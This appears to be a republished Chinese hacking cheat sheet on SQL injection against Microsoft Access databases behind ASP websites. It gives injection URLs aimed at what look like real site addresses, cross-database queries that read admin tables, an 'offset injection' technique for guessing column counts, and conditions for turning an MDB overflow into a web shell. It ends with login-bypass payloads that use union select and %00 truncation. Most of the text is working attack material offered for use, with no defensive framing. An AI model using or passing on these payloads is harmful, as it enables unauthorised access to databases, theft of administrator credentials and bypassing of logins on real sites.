时间:2021-07-01 10:21:17 帮助过:82人阅读
1.Access跨库查询. http://www.wooyun.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [C:\root\data\%23db1.asp].admin 条件:分站有注入,知道对方站的路径可以用这个方法来跨库查询. [C:\root\data\%23db1.asp]为数据库 admin为数
1.Access跨库查询.
http://www.wooyun.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [C:\root\data\%23db1.asp].admin
条件:分站有注入,知道对方站的路径可以用这个方法来跨库查询.
[C:\root\data\%23db1.asp]为数据库
admin为数据库中的表
user为数据库中admin表的段.
NBSI(牛逼死了) 工具可以智能化使用.
2.利用XSS
我不只有注入点不知道表的话.
http://www.51qljr.com/xinxi/shownews.asp?id=(575)And(1)=(2)UNION%0DSELECT%0D1,chr(116)%2bchr(101)%2bchr(115)%2bchr(116),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17&id=18%0Dfrom%0DMSysAccessObjects
test的chr代码~~~~~
MSysAccessObjects 为系统表
我们的代码跨管理员吧 哈哈~
3.Access偏移注入
简单说下偏移注入原理:
1.Union合并查询需要列相等,顺序一样;
2.select * from admin as a inner join admin as b on a.id=b.id 这句话请大家理解下,就是说把admin表记为a,同时也记为b,然后查
询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。
3. *代表了所有字段,如你查admin表,他有几个字段,那么*就代表几个字段
举个例子:admin有5列,那么union select 1,2,3,* from admin如果返回正常,就代表注入的表有8列 (5+3=8)
看看90sec haxsscker同学的文章
例子2:红黑联盟
3.Access溢出
总结一下,MDB溢出+跨库 得Shell的方法必须要有的条件:
1.要有网站绝对路径
2,要有上传点,随便什么格式都行 (后来发现即使不是MDB后缀,只要格式正确都能够用跨库连接)
3.当然,还要有注入点(或者你进了后台能执行SQL语句)
对于ACCESS跨库的一些思考 ACCESS数据库溢出 MDB数据库溢出 (里面说的跨库查询还有什么Union查询我第一个介绍过了.)
Microsoft Data Access 组件数据源名缓冲区溢出漏洞
4.其他一点思路
1)ACCESS高级注入利用技巧 (执行命令等)
2)Access注入导出文件 (注入导出文件,配合IIS解释漏洞)
附:lake2
3)Access基础到高级的利用 (文章很一般)
4)%00 Access截断字符 (你们知道吗?)
5)一先奇葩的注入:
用户名输入:
' UNION SELECT 1,1,1 FROM admin(为表) WHERE ''=' //1,1,1为字段数量,大家盲打试试....
密码输入:1
或者用户名输入:
UNION SELECT 1,1,1 AS pwd(密码字段) FROM admin(为表) WHERE ''='
//我们把列的数量都打为1;如admin表中;我们把两个不知道的和pwd列设为1 那么程序漏洞代码 if pwd=rs("pwd") then...(1=1,密码输入我们能控制.)
密码输入:1
就成功绕过了!
' 是闭合络.
也可以:' UNION SELECT 1,1,1 FROM admin%00 //截断
还可以: UNION SELECT 1,1,1 AS pwd%00 //截断不需要表段,select 强制插入两个没有名字,一个用as关键字给别名为pwd的列!!!